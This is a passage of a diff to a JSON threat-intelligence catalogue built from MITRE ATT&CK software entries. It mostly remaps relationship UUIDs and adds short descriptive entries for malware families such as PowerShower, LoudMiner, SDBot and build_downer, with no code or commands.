"uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19186,14 +21215,14 @@ "type": "similar" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19207,7 +21236,21 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19255,14 +21298,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19276,7 +21319,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19297,7 +21340,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19371,13 +21414,6 @@ ] }, "related": [ - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -19386,7 +21422,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19399,13 +21435,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -19414,14 +21443,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19435,7 +21464,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19463,7 +21492,7 @@ "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19538,7 +21567,7 @@ "type": "uses" }, { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19552,7 +21581,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19565,13 +21594,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", "tags": [ @@ -19580,7 +21602,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19594,14 +21616,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19634,6 +21656,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a", @@ -19657,14 +21686,14 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19678,7 +21707,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19699,7 +21728,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19713,7 +21742,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19781,14 +21810,7 @@ "type": "similar" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19802,21 +21824,21 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19830,7 +21852,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19844,14 +21866,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19863,11 +21885,137 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", "value": "ChChes - S0144" }, + { + "description": "[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)", + "meta": { + "external_id": "S0441", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0441", + "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", + "https://securelist.com/recent-cloud-atlas-activity/92016/" + ], + "synonyms": [ + "PowerShower" + ] + }, + "related": [ + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "53486bc7-7748-4716-8190-e4f1fde04c53", + "value": "PowerShower - S0441" + }, { "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)", "meta": { @@ -19899,14 +22047,14 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19956,7 +22104,7 @@ "type": "similar" }, { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19970,21 +22118,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20001,6 +22149,160 @@ "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", "value": "POWERSOURCE - S0145" }, + { + "description": "[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)", + "meta": { + "external_id": "S0451", + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0451", + "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/" + ], + "synonyms": [ + "LoudMiner" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f99f3dcc-683f-4936-8791-075ac5e58f10", + "value": "LoudMiner - S0451" + }, { "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)", "meta": { @@ -20034,14 +22336,14 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20051,6 +22353,167 @@ "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", "value": "TEXTMATE - S0146" }, + { + "description": "[SDBot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "meta": { + "external_id": "S0461", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0461", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/" + ], + "synonyms": [ + "SDBot" + ] + }, + "related": [ + { + "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "92b03a94-7147-4952-9d5a-b4d24da7487c", + "value": "SDBot - S0461" + }, { "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)", "meta": { @@ -20075,14 +22538,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20116,28 +22579,28 @@ "type": "similar" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20171,7 +22634,7 @@ }, "related": [ { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20185,7 +22648,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20199,14 +22662,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20218,6 +22681,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "04fc1842-f9e4-47cf-8cb8-5c61becad142", @@ -20247,21 +22717,21 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20282,14 +22752,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20303,14 +22773,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20327,6 +22797,82 @@ "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "value": "Pteranodon - S0147" }, + { + "description": "[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "meta": { + "external_id": "S0471", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0471", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + ], + "synonyms": [ + "build_downer" + ] + }, + "related": [ + { + "dest-uuid": 